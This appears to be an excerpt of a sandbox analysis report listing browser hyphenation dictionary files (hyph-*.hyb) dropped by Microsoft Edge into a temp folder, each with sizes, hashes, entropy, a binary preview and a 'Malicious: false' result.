SSDEEP:	384:1HSUqMAZs9xsrscHJvMC0rWxMabdxhDPWSZuVyVm44/DasJVwLf3:1YanasivMaMaZxFPWSZ+EaZVwT3
MD5:	2AE42AB807286F6EC0FF1876D9536B0B
SHA1:	CF3BBE7348EAF2CB3D93C5CC10964BB8D1BA07C1
SHA-256:	10079C66014DD2E6ABFEF5A018E6553FD5A036AFB96BD2A235440A188F88B15E
SHA-512:	13C193571A7374BB169F6F0F06A9AF7F8251CFCBF60825A85396C907D40F7837C8EFD0A7BC8B6C4DEED2BFCA7B8508F132932D7860C2C9A4FB568D8BA2ACAEA9
Malicious:	false
Preview:	hy.b........d...dQ...S......A...............................................................................................................................................................................................................................................................................................................................................................`...........c...........f...............j ...#...& .MP..-t..0..04\|..7...:l.S>...A.......DT.7G...J..9M..zO...Q...S..N.......D....p..f.....$...8...`.JU<..MH.l.T.mP....`...<..Sx..V...W..S...40..A...v.4..........U..aY...[...[...^t.e.@..\@.gW...aX..^...b..keh..f,.-i...j...l$..n..qqH..r..std..@..6.\|...,.......d...P.:........vD..........xh...\.8. ......y........D..Dx...0.......p...0...(.1........`.......{4."........}............X...\.....j...KI..LP......n\....L.PL8.."..r....a......A........%..d....E...)......A..."......d...%....P...h..h...........K....f..-z.......+......q.......3...T0......................:....O......

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-eu.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	665
Entropy (8bit):	2.439677624130323
Encrypted:	false
SSDEEP:	6:k/8uq10tX2q10tXFtXe8lLLmfllGjpLtwaISjQFytGtq5AlNytFl/r8IYMVnnn:Wq1092q109nuf/GgaISDGE6wfj/Nn
MD5:	E90EA97070CFCFA795FBD807AC300D34
SHA1:	8C83B4CD54D394AEFF31B14A219F2A3562132908
SHA-256:	E2778A4FC7B8F064A32B6A44BC29F10E264D9D6214B8EDB8EBD1F5F6D68E2EB2
SHA-512:	210DD857F7799F1A926C7AA73F26912AD60723E099ACF1566BC39EFD445A1B194BE4DC557D5DA6874E7D75A37115AEAD9389B8009EEC1422764E6648FE4CF8F1
Malicious:	false
Preview:	hy.b............t...........A...............................................................................................................................................................................................................a...........b#..C....3......f...g.......I...j...K...L...M.......o...P...........3.......U...V...W...X...Y...Z...!...!...!.......%...%...%...(...(...(.......................................4...4...4...!...!...!.......%...%...%...(...(...(.......................................t...4...4...A...............E...........H.......................N.......................T................................... ............. ... ..........

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-fr.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8165
Entropy (8bit):	5.160239303629025
Encrypted:	false
SSDEEP:	192:Yq67m0o5PsoVQ5rT1+Eqy2G0Xy7i6uccc/J66POIY2:YHmkeQ/1v2Gay7Bupcx3vh
MD5:	092E0A95D6DADA26CA56D2ED558749A3
SHA1:	40BD8296E5E852FE725C7119083A8D5614037CF9
SHA-256:	00BD8B2D398D77575DA2BFBBC5EC641AAD7F2A87D4A31186EC169E85A27DE5B7
SHA-512:	C04BA62F4A0336E9B25BD2F6A8C3CB82C8B6127C1C04FC173ABC9BF03767A9FFE18C9241B301D6F71F79F3377BC990F25F099D7660880C097A9CF4BB1E4BD48F
Malicious:	false
Preview:	hy.b........P...`...........L....8............... ...(...0...8...@...H...P...X...`...h...p...x........................................................... ...(...0...8...@...H...P...X...`...h...p...x.......................................................8.. @..!H.."P..#p..$x..%...&............8.. @..!H.."P..#p..$x..%...&...'...'...........?...............>.........@...&.......Z..'2.F10......9...A...Jz.KPB.....MTV..\...d...m...v...{$...`...b.....V.....:...*..'....H.[.......Wh...1...6. ...a...G.......u..%.K.........E.x..$~.G.<...}.......\...f..r........D.O8.......,>...d.Ur........X...N.....O\|..J..... ...^.....P..... .........!............0...T.........G.j..8...L..IR..........=P..x...........,....n.......t.P..... ..."..p.Q.....r...,...(...5...8...F.................V...........D3.....................C........p...z...!.......1......................C.......X&..W...............E&..K....f...S...q.........Q............X .Pl......W........@..U"..[.......X&..^.......`...a...b...c...K...e...

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-ga.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35824
Entropy (8bit):	5.524309158837039
Encrypted:	false
SSDEEP:	768:eZAG7bymjpz7qBZWBHn7xbeGhs0fCJRc3uQz3sfLsCPI2th4k/:iAGfJjpn2UbxbHhJaLc3pcfLFP/4S
MD5:	768032A419E0AE3BD870D591E2173715
SHA1:	58FD709A1DC40176FB72189C20567AC1950B9DB7
SHA-256:	1E3043F395BFB2A4C43D0480BA2F168ED622881CC3482359CA6E99821E983BE8
SHA-512:	4A4CA1F735B82F625002B0292F623179F2A6CE736F633CBFD6868E3DB0709EB06EB462BD9DA3FFA8365C3C38FDACBA735AD32266CB3EC33D3E583ED073D0E3AA
Malicious:	false
Preview:	hy.b.......................A.......................................................................................................................................................................................................................y!............P.c.0.....e.0...P...x......"(..%H..)...,.../ .N2...5@.P9...<..R@...B...s..u.8.h.....8..E@.YI...K...O...R...U...W8...p.dWx.%....Y...D..HZX..]..j_...Y@..[@.._h......`...c..Qe...e8.j. ...0.O.P...X.8.`.x#h.........[...\|J...gp..h..dlX..A8.&m..'p...+...s..uP..w..L{...~..............Q.P.....S...!.....I.....k...............c.X.dB...PH......P...h.........A.!.,.H..c...F..O.....h..4h..p..)d ...(..<a.......q..L.......S...k..\|....P...{..3...P...y.......P+.(.0.i...........L.....@...x.O.....H..G`...X.....a.a.)........&............(.;....M..!...............e.....................(.......x.....A.........Q...r....q..;q.......\|......8...Y(.:...{....g..a....P..........!.....8.....9...i.p..mp..20...X.-....x)...p.pr....h.(.p......)..h....\....x.8...

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-gl.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	9289
Entropy (8bit):	4.767648169663165
Encrypted:	false
SSDEEP:	192:ivHsKFShtcb9Gn03kfkyrU3N3k65tk5kX9yI:GSh+xGn0UfkLNF5tikXt
MD5:	1B08FB098D29C30488B8FC3F19DCF8B9
SHA1:	DF6E03DA66A7A5AE4927334808C8C20752733667
SHA-256:	89D98EFF14E2CF1C2314EFDF392339E62D7E786F100202A7377BF7B22095A0C5
SHA-512:	DE1DE90BD44D8977A4A69D6C64BC90F421F5E099396D06FC2466DE6EE62A59F5A59AC1BA0EA96E69DFCF744F12165A8A9E9FDA73AFE5D38704A7B3B0488A369B
Malicious:	false
Preview:	hy.b............."..I$......A.......................................................................................................................................................................................................................y...........B...#...........&.......H.4.) .j"..K&d.,>......10./4X.p.&..8...;...?p.T....B,..F.T.r.xIz...~.......h...".=...!...........D...$6...Oj.'.L..E8.i...-,....b.....m.(.e8$...2..U..Q.F...N.....!.......C....-\...l....e<P..4...0..$6:.K$@...f.....!<H..;6.-Yn..P..2...3.R.t.B..........\T.r6x.9.J.......t..@D.C5`..7\|...V..0...,..15Z...^.N<..K/...,<..?.......<..%>..Q/......s/......NB.......C..(M..................F..........a....u..C5......%....0...,..H/...... ...K/...,..M...NL...<.. ....!..............E....J..2...X...................................a..C5......E....0...,...M..I....C..K/...,...........<..2b..Q/......s/.......R...... ....P...............C.."W...........S..M.......d....&...J..r6.......).......*.......H...... ...aK...M..R...........

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-gu.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	655
Entropy (8bit):	4.207284085511268
Encrypted:	false
SSDEEP:	12:Kphl9dsn8tHcgWQZXiJhUmN+tRktU9t80dtcUdH0TME8h:yhl/3HRWQZXifU6+EtU88yJTt8h
MD5:	F6DC4E0FB974869D3D9457C582A38690
SHA1:	E6708AFA342639EB96CB97D1F541A421B2626D00
SHA-256:	AF0EDB67C2219B803C3EB6C1DEE6F2D41A3FE00468A9DA8BE8EF5056D701ABF3
SHA-512:	A778236FA8C5F28E747214D0BA0417ACA1C9A95E4C013FBC21E6DEFE39D0421A2B27CCB27E6F248404A9F6B5CD1014574D0478078F36AF2A0181872AC8173D72
Malicious:	false
Preview:	hy.b........(...`...........B.....T...T...T..(T..0T..8T..@T..HT..PT..XT..xT...T...T...T...T...T...T...T...T...T...T...T...T...T...T...U...U...U...U.. U..(U. 0U.!8U."@U.#PU.$XU.%`U.&hU.'pU.(xU.).U.*.U.+.U.,.U.-.U...U./.U.0.U.1.U.2.U.3.U.4.V.5.V.6.V.7.V.8 V.98V.:@V.;XV.<`V.=hV.>.W.?.W.@.W.A`..Bh...............?......H............B...........A..............................................................................................................................................................................1...............................................................A...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-hi.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	687
Entropy (8bit):	4.239578871898771
Encrypted:	false
SSDEEP:	12:abdtltF8MN32m0c2SSYuNuA4vltG9qXLgskIU9t80dtcUe0EZA8h:aptKEGC3F4IU88yMUA8h
MD5:	0807CF29FC4C5D7D87C1689EB2E0BAAA
SHA1:	D0914FB069469D47A36D339CA70164253FCCF022
SHA-256:	F4DF224D459FD111698DD5A13613C5BBF0ED11F04278D60230D028010EAC0C42
SHA-512:	5324FD47C94F5804BFA1AA6DF952949915896A3FC77DCCAED0EEFFEAFE995CE087FAEF035AECEA6B4C864A16AD32DE00055F55260AF974F2C41AFFF14DCE00F3
Malicious:	false
Preview:	hy.b........8...............F.....H...H...H..(H..0H..8H..@H..HH..PH..XH..`H..xH...H...H...H...H...H...H...H...H...H...H...H...H...H...H...I...I...I...I.. I. (I.!0I."8I.#@I.$PI.%XI.&`I.'hI.(pI.)xI.*.I.+.I.,.I.-.I...I./.I.0.I.1.I.2.I.3.I.4.I.5.J.6.J.7.J.8.J.9 J.:8J.;@J.<XJ.=`J.>hJ.?.J.@.J.A.K.B.K.C.K.D.K.E`..Fh...............?......L............A...........A..................................................................................................................................................................................2...................................................?...@...................E...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-hr.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3031
Entropy (8bit):	3.198992736743913
Encrypted:	false
SSDEEP:	48:d2CEMwYhky3FiH3wJVNkSghtchN/LPbmqfjUdesNmw:uUDdk7wXYEw
MD5:	1864E47E724BB7F9C052A2840EEE21D9
SHA1:	9749136107913D6570C0C46AE2B52E66D8284C38
SHA-256:	D5F066A5657F1D7C39D053956DF204B7926F40D2FE4F69573AF09D909066E26C
SHA-512:	2D6E76AED93652510F5864DDE1E1923C67E7413E895ABFA8FC7E8C9177E228E4D153AFB7099B86697D1662CA3124FF2173F4AAB2C978D52583A8E2DBC70C0842
Malicious:	false
Preview:	hy.b........d...p...........A...........................................................................................................................................................................................................................................................................................................................................................}...@............2.......%...2...........%.....k................%..p..........3"...%...(...,..W/...2...2...5...9..........R...............V.......E...g................................................................"... ...........:...........;.......................=..................................................."..%...........2;......................................................................................."..............r........................................................................@..............."..-..................;-.........................................................-..........

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-hu.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	317251
Entropy (8bit):	5.519807782240349
Encrypted:	false
SSDEEP:	6144:wxOMr0dBjIg2U0RT7c25PkvQoc6yzRcOmpTeIrDh2ky5khBh13kwTbqgT3Gfhh4D:wvkufNkzFtuWlAh36
MD5:	37B1F197E8DFBAFDAC4597EDCF673E63
SHA1:	E672C6870417C71ACDCDA6C16A7185D7A868EB68
SHA-256:	8B3A16268CC932B226C17FF405B3CFB6EB38A9511A2043D653DC03729EFCEAC1
SHA-512:	69EE820439633B348BF8EFDD3C498A30270753E53FF78D022BD1B295C6C95E0501955009F610A12FC55C786A563B0AF40D2B69A7584B47662B943ACBAC2D3634
Malicious:	false
Preview:	hy.b........X...D...C.......A...r........................................................................................................................................................ ...!."......................... ...!."...................................................................................##..............................$$.......?...............u4......A../...6.$.A...FE7.3.@.O.I.P.S.SI\.R.e...n.S.x.TM..<...4..X...YQ..1...F..-...>U.. .....C...Y..M...N.......1...5^..;...D.'."!1."b:.E.C.E.L...U...X.....G.Y.G.].I.b.B.c.@.e.J.j.K.].N.n.J.r...v.).i.U...T.z.U./.6...Z...L...ZU..WV..+./.../.>./.?.{.D...%...7]..K...._.I`f.Y!T.M...@#..,........A.....(...5D......9...C.......H...&J..)K..P..3...R...V...V...#R.....O...9.&..U/.V4.+.'...9..Y.-.?..[G.<E\.2.K...O.._T./.Y...H.Y.$c...$7......A`...g.B.R...V.,.p.?.Y...-..Yy...y................7S..=....P&.0.....L.....%.B.8...#V...Td...........L......c..]..A.Z....Q`....r.(...&.A.=.$.......:.;.2.....O.....:.?........!........

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-hy.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	605
Entropy (8bit):	2.7480544370803566
Encrypted:	false
SSDEEP:	12:6q103+54v4Oq103+54v4At/tJBb3ANmWLYC926DXXc:B+Omvo+Omvn/tJJ89248
MD5:	70EA4451C3A26FD7197A3D2188BE4152
SHA1:	E0C1390D94876BF2A3CBDECAABB0E335BD86355D
SHA-256:	9B34DFCA85CB27546829F104F137757EFB274934C1E9D4991F55AD564962A76A
SHA-512:	AC957947C51EA23A9B7CA482DB08F0CA3332B8048025A96ACB01A4486C1A87C3F3D08898E94CC8E0B20721C56CE708FB37E1BD81BEE1FEDBA60A7F370D5DDAA4
Malicious:	false
Preview:	hy.b........\|...@...].......1...................................... !."#$.......................................... !."#$.%.....?...............k.......A'...@..........E.......G...H...........K...................................................X...........................B...C...D.......F...d...%...I...J.......L...M...N...O...P...Q...R...S...T...U...V...W.......Y...Z...[...\...]...^..._...`...a...b...c...A...............E.......G...H...........K...................................................X...............................................d..................................................... ..

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-it.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	3.836869209179978
Encrypted:	false
SSDEEP:	48:970ZuhZFTQ/VVpGBPrOwm0Q3/aZRAp9FX68n+BoZIugUTa:pyPdX0KWRUFXsagD
MD5:	A4D5EC24D4C5EE745CDCDC019018074F
SHA1:	15DCD0305508AFE357EEE16A543F4CE547ED500C
SHA-256:	F9C027D7FD44B01CD5E1CDF802E20C63560673098AF18BEA0930BA9AF334E0F7
SHA-512:	E9022473816F2ECF4B5B06BD6B28D75EC64FDFF974A991AA522EB105E3AA8D23DDA0A45E11040AF4DB32E1F2E8CFFFC058BF29FEA1403AF5A724831C730719FE
Malicious:	false
Preview:	hy.b........................6....8............... ...(...0...8...@...H...P...X...`...h...p...x........................................................... ...(...0...8...@...H...P...X...`...h...p...x..........................................................................@...!..."......D...e...F...........i...........l...-............"..............4...............3..y-..z4..........c...D..........g...........J.......L...M...................8..K/..........v.......K...............\...........;...............................K...................'.... ......................./..............j ..........................................t....6... .........................6.............................../...............!..0..................................U.......g...............c..............................+.................... ......`...a.......`.......b.......o...................................5........"...............................................................#..............

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-ka.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	9996
Entropy (8bit):	4.691575073974727
Encrypted:	false
SSDEEP:	192:BykbapajL7tio65gkERH0b4/HXQDPPCOqyKrQhuqDr5fpMEgKh:BBNjSgk4H0kHX0XrKrQXrv/g4
MD5:	AA6C771083158380B2631F01E3F64F20
SHA1:	1B41CD8E7585DCDE57FC0B40502328845E524457
SHA-256:	2472271C7955C67E9FDB86D0CD3C5D88F5E598DA4F44B6741284B2BBCB2E4D52
SHA-512:	F8CD93862CA2F76D769721BBF858955FC007BCF2E1892AE3E50846E28C6027208869F580479D3888610820AD5348A21A8709984AED844669FCAAA3F14199ADDC
Malicious:	false
Preview:	hy.b........(...H&...'......B................................................................................ ...(...0...8...@...H...P...X...`...h...p.. x..!.................................................................................... ...(...0...8...@...H...P...X...`...h...p.. x..!.......?...............B...@.....X...p...x.D%H..-D..5..G=...C...K ..S...[$..d(..k\..sh.O{<......@.R...S...T.....L.....W.......Y.....8...P...`...........\|.....a........P...B..QF....t..G5.QFe.Eym...0..2>..H-..8...~.......2..QV...o..H#...2.......H...............G......F...G...H...............................P.... ...'..S........@...>.../..XW..........[.<..(...\|..^>...1...R..!.........F.C...D.......F...G.T.H........#..K...L...M...N....S..P...Q...R..............V...........Y...Z...[.<.....E...^.......`...B...C...D...L}..F...G...H.......J...........M.......O...P...Q...R...S..........Q...W...X.......Z...[...\...]...^..._...`...B...C...D....Q..F.......H.......J...K...L........k..O...P...Q...R...F2......

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-kn.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	711
Entropy (8bit):	4.3179288692537705
Encrypted:	false
SSDEEP:	12:uYYcrpn9wlpnJca6CUARLvXCqngHkGsOoiE9j00uE8h:uYDrp9wDnJca6CUcLvyqNfOM9IA8h
MD5:	D986AC2E7C75CF3EF929A7A269AE0D5A
SHA1:	DE8BF2EE2B8A77102337C45E5FEC924C6C02355B
SHA-256:	2B999D0A152F804601AA8F38FF0D3A6E5949977BF1DAA76FA888ACAE21526287
SHA-512:	5475C82FD5074334BC5F0F89EDAB62E94BC5865DA0432C6F830B50DB3045AFDA12BB698659951F6D0F76C55A43E1ADD8D47AD7FD03597BBE92D8178AD4783C71
Malicious:	false
Preview:	hy.b........D...............I.....d...d..(d..0d..8d..@d..Hd..Pd..Xd..`d..pd..xd...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...e...e...e...e. e.!(e."0e.#8e.$@e.%Pe.&Xe.'`e.(he.)pe.xe.+.e.,.e.-.e...e./.e.0.e.1.e.2.e.3.e.4.e.5.e.6.e.7.f.8.f.9.f.:.f.; f.<0f.=8f.>@f.?Pf.@Xf.A`f.Bhf.C.f.D.f.E.f.F.g.G.g.H`..Ih...............?......O........@...............A.......................................................................................................... ...!..."...#...$...%...&...'...(...)......+...,...-......./...0...1...2...3.......................................................................E...........H...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-la.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1839
Entropy (8bit):	3.12543324723605
Encrypted:	false
SSDEEP:	24:aPF+sH+sNIemluNLFrqCvmEkzR7PfHcQJk8pAhYx1yRzlF6mi9JgJMppZ+ss:uFt87uNLFr1uh78BSLv4z3icgZjs
MD5:	9AAA47272099A013A4389BC314B7D2ED
SHA1:	20B5BF65FA2023E67EA0687F643B52EAB3FC68E9
SHA-256:	FD4B6F36135CD3B932E350EC2017DFD89D2E36AC226F54E4C8F2E4BC6DB0593D
SHA-512:	318B17B2E2B16EC73F231455D633C69FD44B32868C215053B3CCCA54472E775D4589CBB4DAAD2FE37A40F79B6CDE497F654654BE009D485A84327E0F560FC843
Malicious:	false
Preview:	hy.b........8......./.......A...T....................................................................................................................................................................................................................................................................................................?......Z...@...A.......c...................(...iP.......C...........X...........@..r.......Ta..................9...:.......u...C...........H.......................w.........../...................l...m...n.......".......r............'..............................................................T.......................q...........4%..........H.......U...u...................E.......................................)...........l...m...n.......(.......r.......5....'......................U.......R............................'..............................a...0...........e...4.......l...m...n.../......."...r...o........'..............u...f...................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-lt.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7774
Entropy (8bit):	4.633413885132318
Encrypted:	false
SSDEEP:	192:EzpJxnGZRt2XF1iG2TPY89i3k4OikTky2mKx:E5ORsmLjH4OikTk2Kx
MD5:	970C2671EAC4FFF6D840DC122E43B7C6
SHA1:	D849F8B0950DEA8C45E60296F6C8A7AE2E0F3F95
SHA-256:	6FE2DA26A96834FB9AECBE586D40F728DF0EF676A4F235450054E66841B9E2CA
SHA-512:	C6B799AAAA714650CA39F8728BEF6989E7E801508366CAF1B384F021EE443BF21B3F59D28C2D9123A1F59B4ABD3A27522CBA830E431940E6EF9DCCB5A319D581
Malicious:	false
Preview:	hy.b........d.......^.......A........................................................................................................................................................................................................................................................................................................................ .........!!......?...................@.....<...j.C ...(...0...8T..A...I..IQ...Y`..aZ..jr.Mr...z>..H...R.Q.....b..d.....U.....p...4...P...................x...v._.....h.....A....y;.K.......E...^Y...X..TU).I....e....,..yC...X.N....}....n..l..R.E...0...l..iK..n...m{..x3...+.L.\|..x................L.....C-^.D.8...........".......\....... .......t.....O...P.7...&.......A..;$...f.................Z................J...... ...........B...C........"..F.<.G...H...........K.......M...N.......P.......R...........U...V...L...X....n..Z...G...^....~..^...........a.......B...C...D....d..F...G....!..........K...L...M...N.......P...Q...R...S...T#..U...V.....0.X.......

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-lv.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	38602
Entropy (8bit):	4.079352790938085
Encrypted:	false
SSDEEP:	768:91xhOugI3cO0VLN2o2zmetRffK359CG02:9FtM9c/D4x02
MD5:	05DFDB7F1EE5744573CCD62AE565B2C7
SHA1:	754991BDB092E363B8D884246F4CA780CC9AB2F3
SHA-256:	65962CCB5055E4C693E5AC493D6AFFDC810EC168EB2942F5705B7F4E464F9993
SHA-512:	11675BC30F19161666F0D7B5AE001CD2682989465DD3F4973C455BA50EB1250E56FD1782D9589AF2F8B3D6843A611D75D38E4CCC03A529A7B42CF403C482F2E8
Malicious:	false
Preview:	hy.b........d..............A................................................................................................................................................................................................................................................................................................................ .................!!......?................%..@...A........1`...P...0..10..#@..10.I)P..1p.K0...1...0...1..O8...@...1 ..Ap.SC@..I...Pp..1..WW...1..Y_...1..[g ..1...1...1...1..`o`..1..A........!..K".... ...T..D.E..... ......(...*...A`.....E,...u..O...R........!..U...By.........V.......G.......I......K...L...........$......Q........................D......A...Z!..NR..\................................ ..............P'... ...b......-...-...6..A...P...."..."..S.......GH..........R................-...%...%..a............%...E..F-...1...7..I....<...B...J...R...[..S...Pc...k...s...{..T.................Ar...1.............^..._..........A.................V...

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-ml.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	4.382199613837181
Encrypted:	false
SSDEEP:	12:CJJUUXPF9sMd3MpLuNMaYGakZyqmiK/XwEHsz2ky4NO9xZI02nk9KpJ:CJJ9CHpLnF9H/LsSyNOn2nnpJ
MD5:	84A0A36EA2C5B3209A3CD40D1043230F
SHA1:	A98436B640A8CFB9CFFA26E89FEE768DCE6F0747
SHA-256:	90572DB8F49B01EC6A102732CDF14FC3F07D363CBE0D261103E583043164E888
SHA-512:	845AB7B075D3EC490C477AF3B1F6D28CDC83289D206D079730F69FFD32A0FADB04EB3C9539E4DEE6DAC080489AEA9F3365A20810B4BBB229C2AEA3558BCFA1F5
Malicious:	false
Preview:	hy.b........P...............L.....h...h..(h..0h..8h..@h..Hh..Ph..Xh..`h..ph..xh...h...h...h...h...h...h...h...h...h...h...h...h...h...h...h...i...i...i...i. i.!(i."0i.#8i.$@i.%Pi.&Xi.'`i.(hi.)pi.xi.+.i.,.i.-.i...i./.i.0.i.1.i.2.i.3.i.4.i.5.i.6.i.7.j.8.j.9.j.:.j.;0j.<8j.=@j.>Pj.?Xj.@`j.Ahj.B.j.C.k.D.k.E.k.F.k.G.k.H.k.I.k.J.k.K`..Lh...............?......Y........@...................B...................................................................................................... ...!..."...#...$...%...&...'...(...)......+...,...-......./...0...1...2...3...4...................................................A...............E...F...G...H...I...J.......L...........................L...............................4.....................................0.............

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-mn-cyrl.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5142
Entropy (8bit):	4.03246540989063
Encrypted:	false
SSDEEP:	96:l/PxIafuSv0YHQYYrJ8XFY+qT4uPnjHcMymaH0:lnu7SorJ0FaT4Onjc1pU
MD5:	07CDA8332B62726883B29290CA35FC89
SHA1:	2E3E1A7E4484225D8E25A59695E86EEA9F516EC6
SHA-256:	0D2731F16AA2C90FAEC8E63260358CBCCEDE403FAF95E3AF8C66BC2DB0729CA0
SHA-512:	A55A5A7AD3E6B084BB15D360A732F344EEB59E0ECDB8A431DC9379653D3CD828131DAF18DD91B6B45001AAEECBAA87E1AFD6EAB4A795373DCA1C4E68C7E0CC85
Malicious:	false
Preview:	hy.b............d...................!............................................. ............................... .!............................................................................................""........................................................##.......?.......................A....+...+.......+...;...@...+..I...J........?...?"..+2...4.P....? ..#(..+*.T.,..4$.V66..?0..@...I...$...$&..A.......H.......Y......"........-...........L..............LI..I...F....&.......R..N.......P).......:......F...............F.......F...M...N ..A........L..........F........!..I.......................O.......Q........Y..T..._...`...a...`...a...`....P..\....'..^....,..`...a...b...c...A...QJ..............F.......A...I....S...Q..L...F.......O...I...Q!......`...T...A...O....=...#...L...O..T...AS...T..^..._...`...a...b...\....'..^....,..`...a...b...c...A...I...........A...F....S...U..I...F...K3......I....V..O...P&...Y...]..S#..T...U(..V(..IA..T...LZ...C..F...\...OT..^....,..`...a...b...c...

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-mr.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	687
Entropy (8bit):	4.239578871898771
Encrypted:	false
SSDEEP:	12:abdtltF8MN32m0c2SSYuNuA4vltG9qXLgskIU9t80dtcUe0EZA8h:aptKEGC3F4IU88yMUA8h
MD5:	0807CF29FC4C5D7D87C1689EB2E0BAAA
SHA1:	D0914FB069469D47A36D339CA70164253FCCF022
SHA-256:	F4DF224D459FD111698DD5A13613C5BBF0ED11F04278D60230D028010EAC0C42
SHA-512:	5324FD47C94F5804BFA1AA6DF952949915896A3FC77DCCAED0EEFFEAFE995CE087FAEF035AECEA6B4C864A16AD32DE00055F55260AF974F2C41AFFF14DCE00F3
Malicious:	false
Preview:	hy.b........8...............F.....H...H...H..(H..0H..8H..@H..HH..PH..XH..`H..xH...H...H...H...H...H...H...H...H...H...H...H...H...H...H...I...I...I...I.. I. (I.!0I."8I.#@I.$PI.%XI.&`I.'hI.(pI.)xI.*.I.+.I.,.I.-.I...I./.I.0.I.1.I.2.I.3.I.4.I.5.J.6.J.7.J.8.J.9 J.:8J.;@J.<XJ.=`J.>hJ.?.J.@.J.A.K.B.K.C.K.D.K.E`..Fh...............?......L............A...........A..................................................................................................................................................................................2...................................................?...@...................E...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-mul-ethi.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3740
Entropy (8bit):	5.292396416301549
Encrypted:	false
SSDEEP:	96:VOy5VNB9XrbDHKYKZHpY2Mx5fxhPf7O0Oa:VOiVh76ejP5h7Oa
MD5:	B42317960E5DA868A8120CB79A440ABF
SHA1:	5BC583FE2BCF8D9EF971C66A5F57821AAD1458CC
SHA-256:	F2FAC1BD069FFE5CD1112D94CC31137ED38A1B161093ECD74C9C1688428B688B
SHA-512:	C26C686F7A1AE785A6D5B5856670CF9B7BC48E4A388D2E2922B21FD6C0124357ACFEB73B370AB617C5ED4B033D945FB3C7CC235A661BAAA7FB976DD6EDEC66C0
Malicious:	false
